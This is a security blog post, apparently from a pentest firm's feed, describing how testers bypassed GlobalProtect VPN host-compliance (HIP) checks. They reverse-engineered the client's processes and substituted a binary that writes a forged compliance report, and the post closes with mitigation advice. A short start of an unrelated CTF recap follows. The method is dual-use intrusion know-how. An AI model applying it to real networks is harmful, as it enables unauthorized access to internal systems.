<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19360 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png" alt="" width="621" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png 621w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-71x36.png 71w" sizes="auto, (max-width: 621px) 100vw, 621px" /></p>
<p style="text-align: left;"><br />The domain credentials worked, and the VPN tunnel was successfully mounted. However, all connections were filtered, and it was not possible to even reach the domain controller as it had initially been hinted by the clients.</p>
<h2 style="text-align: left;"><br />Global Protect Host Information Profile</h2>
<p style="text-align: left;"><strong>Global Protect VPN</strong>, as several other business VPN, allows administrators to define a <strong>host information policy</strong>.</p>
<p style="text-align: left;">This host information policy allows the server to verify that the user computer is compliant with the company’s security policy before allowing access to the company’s internal network.</p>
<p style="text-align: left;">This type of access control can be tuned, and administrators can simply reject any non-compliant devices as well as limit the protocols allowed for the device. For example, a computer that does not comply with the company’s security policy could be restricted to only access a web application exposed in the internal network but not access any other internal resource.</p>
<p style="text-align: left;">The VPN client then collects host information once the user has successfully signed in on the VPN gateway and an update is sent on a regular basis to ensure the computer is still compliant with the company’s security policy.</p>
<p> </p>
<h3 style="text-align: left;">Information collected</h3>
<p style="text-align: left;">Global Protect can collect the following information:</p>
<ul>
<li style="text-align: left;"><strong>General:</strong> Information about the host itself such as hostname, logon domain, OS etc&#8230;</li>
<li style="text-align: left;"><strong>Patch Management:</strong> Information about any patch management software installed on the machine</li>
<li style="text-align: left;"><strong>Firewall:</strong> Information about the firewall software deployed and its status</li>
<li style="text-align: left;"><strong>Anti-malware:</strong> Information about the anti-malware/anti-spyware software deployed and its status</li>
<li style="text-align: left;"><strong>Disk backup:</strong> Information on whether disk backup software is installed and enabled</li>
<li style="text-align: left;"><strong>Disk encryption:</strong> Information on whether disk encryption software is installed as well as which disks are encrypted and what encryption method is used</li>
<li style="text-align: left;"><strong>Data loss prevention:</strong> Information on whether a DLP software is installed and enabled</li>
<li style="text-align: left;"><strong>Certificate check:</strong> Information on the certificates deployed on the computer</li>
<li style="text-align: left;"><strong>Custom checks:</strong> Information on registry keys, user-space application etc&#8230;</li>
</ul>
<p style="text-align: left;">All the information collected can be retrieved on the client GUI:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19362 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png" alt="" width="495" height="476" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png 495w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-199x191.png 199w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-41x39.png 41w" sizes="auto, (max-width: 495px) 100vw, 495px" /></p>
<p> </p>
<p style="text-align: left;">Thus, if you have access to a machine that can legitimately connect to the VPN, it is possible to retrieve a sample of an allowed host configuration.</p>
<p> </p>
<h2 style="text-align: left;">Hijack the profile</h2>
<p style="text-align: left;">The host profile (that will be <strong>named HIP report</strong> from now) is thus generated by the host and sent to the gateway.</p>
<p style="text-align: left;">The first thick client pentesting rule is: <em>If you generate it, you can tamper it</em>. Thus, instead of modifying the host configuration – which can be painful and require the knowledge of how Global Protect retrieves this information – <strong>it should be possible to tamper the HIP report</strong> sent to the VPN gateway.</p>
<p> </p>
<h3 style="text-align: left;">Go in easy with a proxy</h3>
<p style="text-align: left;">A quick and dirty way to tamper the HIP report is to <strong>intercept the requests and modify the report</strong> sent to the VPN.</p>
<p style="text-align: left;">The VPN client communicates with the VPN gateway using the HTTPS protocol. Therefore, it is only possible to intercept the traffic and modify the content sent if the VPN does not securely check the VPN gateway certificate.</p>
<p style="text-align: left;">In order to intercept the traffic, we need to:</p>
<ol>
<li style="text-align: left;">Configure Burp as a <strong>transparent proxy</strong> and configure the redirection in Burp to forward the request to the VPN gateway<br /><br /><img loading="lazy" decoding="async" class="wp-image-19414 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png" alt="" width="600" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png 1107w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-768x332.png 768w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br /><em style="color: initial;"><br /></em></li>
<li>Add the Burp certificate to the Windows certificate store</li>
<li>Specify the Burp address as a VPN gateway in GlobalProtect<br /><br /><img loading="lazy" decoding="async" class="size-full wp-image-19366 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png" alt="" width="599" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-437x139.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-71x23.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></li>
</ol>
<p>From now, when a VPN connection is performed, Burp will be able to intercept the traffic. However, with this technique,<strong> it was not possible to login</strong>:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19368 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png" alt="" width="458" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png 538w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-71x32.png 71w" sizes="auto, (max-width: 458px) 100vw, 458px" /></p>
<p>It was not possible to understand what raised this error, maybe due to some certificate pinning or other security solutions: the easy solution did not yield any positive result.</p>
<p> </p>
<h3>Understand the logic</h3>
<p>The Burp solution out of the way, it appeared mandatory to understand how the VPN works. The first thing done was to <strong>monitor the VPN processes</strong> during the connection to<strong> identify the VPN executables</strong> to target and what their role in the profile generation is.</p>
<p><strong>ProcessHacker</strong> showed several processes implied in the profile generation:</p>
<ul>
<li><em>PanGps.exe</em>: executed as Administrator</li>
<li><em>PanGpa.exe</em></li>
<li><em>PanGpHip.exe</em></li>
<li><em>PanGpHipMp.exe</em></li>
</ul>
<p>Procmon gave a lot of information and showed that the <strong>PanGpHip.exe</strong> and <strong>PanGpHipMp.exe</strong> binaries were launched by the <strong>PanGps.exe</strong> binary:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19370 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png" alt="" width="741" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png 853w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-768x156.png 768w" sizes="auto, (max-width: 741px) 100vw, 741px" /></p>
<p> </p>
<p>Finally, exploring the Global Protect installation folder showed <strong>several detailed log files</strong>, which have been really helpful during the reverse and debugging process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19372 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png" alt="" width="253" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png 226w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-173x191.png 173w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-35x39.png 35w" sizes="auto, (max-width: 253px) 100vw, 253px" /></p>
<p> </p>
<p>Additionally, during the VPN connection <strong>an XML file is created</strong> and contains the full HIP Report that has been generated during the connection process. However, the creation of this file was not reported in Procmon.</p>
<p style="text-align: left;">In order to ease the exploitation, the report generated on the domain joined machine was retrieved. <strong>Depending on the VPN configuration, part or totality of this report can be guessed but it will complexify the exploitation scenario</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Static approach</h3>
<p style="text-align: left;">The idea was to understand the purpose of each executable and how they were communicating with each other.</p>
<p> </p>
<h4 style="text-align: left;">PanGPA.exe</h4>
<p style="text-align: left;">Killing the PanGPA.exe process showed that it corresponded to the user GUI. Nothing really interesting appeared in this executable.</p>
<p> </p>
<h4 style="text-align: left;">PanGpHip</h4>
<p style="text-align: left;">The PanGpHip.exe binary was the first to be reversed as its name gave hints on its features.<br /><strong>Ghidra</strong> was used to analyze the <em>.rdata </em>section to look at the hardcoded strings. Several strings could help to understand the goal of the binary.</p>
<p style="text-align: left;">For example, the following strings shows that this executable is used to <strong>retrieve the host configuration</strong>:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19374 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png" alt="" width="343" height="341" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png 590w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-192x191.png 192w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-39x39.png 39w" sizes="auto, (max-width: 343px) 100vw, 343px" /></p>
<p> </p>
<p style="text-align: left;">Likewise, the following string shows that the process write the HIP report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19376 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png" alt="" width="634" height="89" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-437x62.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-768x108.png 768w" sizes="auto, (max-width: 634px) 100vw, 634px" /></p>
<p> </p>
<p style="text-align: left;">Looking at the references for these strings shows, they are part of a C++ object:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19378 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png" alt="" width="640" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png 740w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: left;"><br />Indeed, the <em>vftable</em> is a table containing all virtual functions from a C++ object. It can be guessed that all the functions contained in this <em>vftable</em> are used to retrieve some configuration information on the host.</p>
<p style="text-align: left;">After analyzing each virtual method, it is possible to start understanding how the object works:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19380 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png" alt="" width="497" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png 617w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-237x191.png 237w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-48x39.png 48w" sizes="auto, (max-width: 497px) 100vw, 497px" /></p>
<p> </p>
<p style="text-align: left;">From now on, it is a known fact that this binary is used to generate the HIP Report. However, the string <em>pan_gp_hrpt.xml</em>, which is the filename of the file containing the Hip Report and written on the disk is not present in the binary. Therefore, there is a <strong>high probability that the XML report it is not written on the disk by this executable</strong>.</p>
<p style="text-align: left;">The first idea was the <em>PanGpHip.exe</em> binary generates the report and forwards it to the <em>PanGPS.exe</em> executable that will write it on the disk as it is the only one executed with <strong>Administrator privileges</strong>, so with enough privileges to write in the Program Files directory.</p>
<p style="text-align: left;">The issue was to ensure that the report generated by the binary was the XML report is actually sent to the VPN gateway and is not an aggregation of binary data that could not be easily modified.</p>
<p style="text-align: left;">In order to avoid reversing several functions, a <strong>dynamic approach</strong> was preferable for this task. The binary is not statistically compiled, and several Win32 Api are used. Using <strong>ApiMonitor</strong> it is possible to spy on the Win32 API calls performed by the binary.</p>
<p style="text-align: left;">ApiMonitor was configured to<strong> intercept every call</strong> performed to the WriteFile Win32 API. At the end of the<em> PanGpHip.exe</em> execution, the full XML report was written in a file:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19382 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg" alt="" width="554" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg 630w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-202x191.jpg 202w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-41x39.jpg 41w" sizes="auto, (max-width: 554px) 100vw, 554px" /></p>
<p> </p>
<p style="text-align: left;">However, it was not possible at this moment to find the file where this content was written on. This point was set aside for a moment to progress on the reversing of the parent binary.</p>
<p> </p>
<h4 style="text-align: left;">PanGPS</h4>
<p style="text-align: left;">We saw earlier through Procmon that<em> PanGPS.exe</em> launches the <em>PanGpHip.exe</em> binary. Through Ghidra, it is possible to search how it is launched. This information is interesting because if a communication is performed among binaries, some <strong>PIPE</strong> or <strong>sockets</strong> should be used to allow the <strong>interprocess communication</strong>, with a high probability that they are created by the parent process.</p>
<p style="text-align: left;">The following code is used to run the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19384 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png" alt="" width="689" height="166" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png 785w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-768x185.png 768w" sizes="auto, (max-width: 689px) 100vw, 689px" /></p>
<p style="text-align: left;">The process creation is performed using the Win32API <em>CreateProcess</em>. The <em>StartupInfo</em> object is created with the following code:</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-19386 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png" alt="" width="620" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png 620w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-71x20.png 71w" sizes="auto, (max-width: 620px) 100vw, 620px" /></p>
<p> </p>
<p style="text-align: left;">The <em>stdin</em>, <em>stdout</em> and <em>stderr</em> file are overwritten with custom PIPE created by <em>PanGPS.exe</em> as it is shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19388 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png" alt="" width="696" height="211" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png 801w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-437x133.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-768x233.png 768w" sizes="auto, (max-width: 696px) 100vw, 696px" /></p>
<p> </p>
<p style="text-align: left;">Thus, through these PIPE objects the <em>PanGpHip.exe</em> process will be able to communicate the Hip Report generated.</p>
<p style="text-align: left;">Using API Monitor this assumption has been verified. The tool was configured to intercept the <em>CreatePipe</em>, <em>ReadFile </em>and <em>WriteFile </em>Win32 API calls. First, it was verified that the <em>PanGPS.exe</em> binary really read the HIP Report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19390 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png" alt="" width="493" height="347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png 614w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-55x39.png 55w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: left;"><br />This API call shows that the XML report is, at a moment, forwarded from <em>PanGpHip.exe</em> to <em>PanGPS.exe</em>. Looking at the parameters used in the ReadFile, the <em>PanGPS.exe</em> binary read the data from the <strong>0x5A0</strong> handle. <br />Looking at the <em>CreatePipe</em> calls, this handle represents the PIPE used as the stdout for the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-19392" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg" alt="" width="1281" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg 1281w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-437x108.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-71x18.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-768x190.jpg 768w" sizes="auto, (max-width: 1281px) 100vw, 1281px" /></p>
<p style="text-align: left;"><br />Likewise, if the <em>WriteFile</em> API call performed by the <em>PanGpHip.exe</em> process is analyzed, the handle that is used will be the one related to the stdout PIPE created by the <em>PanGPS.exe</em> process.<br />The following figure summarizes the interactions between the different components:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19394 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png" alt="" width="535" height="468" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png 708w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-45x39.png 45w" sizes="auto, (max-width: 535px) 100vw, 535px" /></p>
<p> </p>
<p style="text-align: left;">With:</p>
<ul>
<li style="text-align: left;"><strong>PanGPS:</strong> the high integrity process that communicates with the VPN gateway</li>
<li style="text-align: left;"><strong>PanGpHip:</strong> the process spawned by PanGPS that generate the compliance report</li>
<li style="text-align: left;"><strong>PanGpHipMip:</strong> the process spawned by PanGPS that check for known vulnerabilities on the different host programs</li>
</ul>
<p> </p>
<h4 style="text-align: left;">Tamper the profile</h4>
<p style="text-align: left;">The previous figure highlighted that hijacking <em>PanGpHip</em> to write a tampered compliance report on its <em>stdout</em> should be sufficient:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19418 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png" alt="" width="528" height="461" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1.png 593w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-219x191.png 219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/19-1-45x39.png 45w" sizes="auto, (max-width: 528px) 100vw, 528px" /></p>
<p> </p>
<p style="text-align: left;">A simple C code was written:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19416 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png" alt="" width="667" height="181" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-437x119.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/samplecode-768x209.png 768w" sizes="auto, (max-width: 667px) 100vw, 667px" /></p>
<p> </p>
<p style="text-align: left;">Then the <em>PanGpHip.exe</em> file was replaced by this program and a VPN connection was attempted. However, looking at API Monitor, the <em>PanGPS.exe</em> process never retrieved the HIP Report. Actually, the thread used to launch and parse the <em>PanGpHip.exe</em> process was in an idle state (this can be seen in APIMonitor cause the calls performed by each thread were highlighted in a unique color).</p>
<p style="text-align: left;">Looking in the code of <em>PanGPS.exe</em>, the following wait condition can be seen:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19398 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png" alt="" width="646" height="130" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20.png 845w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/20-768x155.png 768w" sizes="auto, (max-width: 646px) 100vw, 646px" /></p>
<p style="text-align: left;"><br />The <em>WaitForMultipleObject</em> condition stalls the <em>PanGPS.exe</em> program as long as the child process does not raise a given event.</p>
<p style="text-align: left;">It was possible to dynamically retrieve the event definition using APIMonitor again, analyze the parameters used with <em>WaitForMultipleObject</em> and linking the ID with the related <em>CreateEvent</em> parameters. <br />Looking at the code, the binary creates a specific event using the <em>CreateEvent</em> Win32 API. APIMonitor confirmed that this event is in the list of the waited event.</p>
<p style="text-align: left;">Another C code, taking this event into account, was written:</p>
<p style="text-align: left;"><img loading="lazy" decoding="async" class=" wp-image-19400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png" alt="" width="691" height="417" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-317x191.png 317w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/21-768x463.png 768w" sizes="auto, (max-width: 691px) 100vw, 691px" /><br /><br />Once again, the program was compiled, and used to replace the <em>PanGpHip.exe</em> file. However, even with this modification, the <em>PanGPS</em> binary did not receive the full report.</p>
<p style="text-align: left;">Using, API Monitor, it was noted that the printf did not use the <em>WriteFile</em> Win32API at all. At first, we thought that under the hood, printf would call the <em>WriteFile</em> API as it just writes data into a PIPE but that was a wrong assumption.</p>
<p style="text-align: left;">The program is once again modified to use the <em>WriteFile</em> API:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png" alt="" width="701" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/22-768x488.png 768w" sizes="auto, (max-width: 701px) 100vw, 701px" /></p>
<p> </p>
<p style="text-align: left;">Even with this modification, it was not possible to retrieve the report in the <em>PanGPS.exe</em> binary. Our last option was to reverse, again, the <em>PanGpHip.exe</em> binary to understand how it writes the data in the PIPE.</p>
<p style="text-align: left;">In fact, the process does not directly write the report in the PIPE, it first writes 10 bytes that represent the size of the report, and then, the full report. This behavior is quite expected as the PanGps.exe process read the full report in one call and, thus, must know the full size of the report to be able to use the <em>ReadFile</em> Win32Api.</p>
<p style="text-align: left;">Thus, the exploit binary must:</p>
<ol>
<li style="text-align: left;">Compute the report final size</li>
<li style="text-align: left;">Format the size on a 10-byte string</li>
<li style="text-align: left;">Write this size on the communication PIPE handled by <em>stdout</em></li>
<li style="text-align: left;">Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
<li style="text-align: left;">Write the report on the communication PIPE handled by <em>stdout</em></li>
<li>Notify the <em>PanGPS.exe</em> process using the <em>HipReportReadyInOtherProcess</em> event</li>
</ol>
<p><br />Finally, the script was modified as follows:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png" alt="" width="733" height="566" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/23-768x593.png 768w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p> </p>
<p>Once the VPN is launched, the modified script is executed, and the tampered profile is sent to the VPN gateway instead of the profile that would be generated by the initial <em>PanGpHip.exe</em> binary.</p>
<p>As the profile sent matched a compliant profile expected by the VPN gateway, the rogue computer was granted access to the internal network without restrictions.</p>
<p> </p>
<h2 style="text-align: left;">Conclusion</h2>
<p style="text-align: left;">VPN clients and appliances are interesting as <strong>they allow remote workers to access the internal network and emulate an in-office experience</strong>. However, they also <strong>expand the attack surface</strong> as an attacker could use them to remotely access the internal network.</p>
<p style="text-align: left;">In order to mitigate these risks, VPN companies set up some <strong>verification rules</strong> to avoid unknown devices to access the internal network. These rules often take place as <strong>compliance checks</strong> that cannot be easily tampered with.</p>
<p style="text-align: left;">However, because the compliance report is generated directly by the host, an attacker can simply <strong>hijack the part of the program that sends the report to the VPN Gateway</strong> and injects its own tampered report. Thus, this compliance checks must not be taken as a proof that the connecting computer belongs to the organization.</p>
<p style="text-align: left;">An &#8220;easy&#8221; way to prevent these kinds of attacks is to <strong>authenticate the user <span style="text-decoration: underline;">AND</span> the computer</strong> accessing to the VPN. This can be done through the use of a <strong>machine certificate verification with an asymmetric authentication process</strong>.</p>
<p style="text-align: left;">An 802.1X-like authentication protocol using certificates could be a viable solution for VPN access as this authentication mechanism authenticates the computer, giving a proof that the connecting computer really belongs to the organization.</p>
<p style="text-align: left;">In this case, even if the attacker can tamper with the compliance checks performed, <strong>he will not be able to pass the computer authentication validation</strong> and won&#8217;t be able to access to the internal network. <br />However, these solutions can still be bypassed with computer certificate extraction or vulnerability related to 802.1X authentication, but these attacks need Administrators privileges on the computer and/or a physical access to the machine: if an attacker already has Administrators rights or physical access to one of your Domain Workstation, there are way more serious troubles ahead. Additional protections can also be set in place to further harden the access to the certificate, such as <strong>storing them on a Virtual Smartcard hosted on the TPM chip</strong>.</p>
<p style="text-align: left;">In a nutshell, if the compliance checks have been set up to avoid users connecting personal devices with a degraded level of security to the VPN, it can do the job.</p>
<p style="text-align: left;">However, if they have been set up as a network access control mechanism to avoid attackers with valid credentials and host configuration to access to the internal network using their attack machine, they are not sufficient.</p>
<p style="text-align: left;"> </p>
<p style="text-align: right;"><strong>Yoann DEQUEKER</strong><br />Senior Auditor</p>
<p style="text-align: left;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Defcamp finals 2022: Feedback on our first Attack/Defense CTF</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/11/defcamp-finals-2022-feedback-on-our-first-attack-defense-ctf/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/11/defcamp-finals-2022-feedback-on-our-first-attack-defense-ctf/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Fri, 11 Nov 2022 12:52:57 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[defcamp]]></category>
		<category><![CDATA[pentest]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=19010</guid>

					<description><![CDATA[<p>Yesterday, the team YoloSw4g from Wavestone&#8217;s Cybersecurity practice took part in the 2022 Defcamp CTF finals. Defcamp is one of the top cybersecurity conference in Europe and every edition is hosted in Bucharest, Romania. Wavestone had the opportunity to play...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/11/defcamp-finals-2022-feedback-on-our-first-attack-defense-ctf/">Defcamp finals 2022: Feedback on our first Attack/Defense CTF</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Yesterday, the team <strong>YoloSw4g</strong> from <strong>Wavestone&#8217;s Cybersecurity practice</strong> took part in the <strong>2022 Defcamp CTF finals</strong>. Defcamp is one of the <strong>top cybersecurity conference in Europe</strong> and every edition is hosted in Bucharest, Romania. Wavestone had the opportunity to play the CTF and finals for the two previous editions, and the format and quality of challenges have always been appreciated. Unlike previous editions where the format was <strong>Jeopardy</strong> (a list of challenges to solve that each bring points), this year was <strong>Attack/Defense</strong>.</p>
<p> </p>
<h2>The attack/defense (A/D) format</h2>
<p>During this the A/D exercise, teams have literally been competing against each other, on the <strong>10AM &#8211; 7PM slot</strong>, with the 10AM-11AM slot dedicated to hardening rather than attack. Each teams had two virtual machines that were running a variety of services:</p>
<ul>
<li>The first VM hosted services in <strong>Docker containers</strong>: songs/singers management webapp, auction website, binary application to emulate a business service, etc.</li>
<li>The second VM offered s<strong>ervices directly on the host</strong>, through services and workers ran by <strong>dedicated users</strong>: CVE search website, remote control webapp, etc.</li>
</ul>
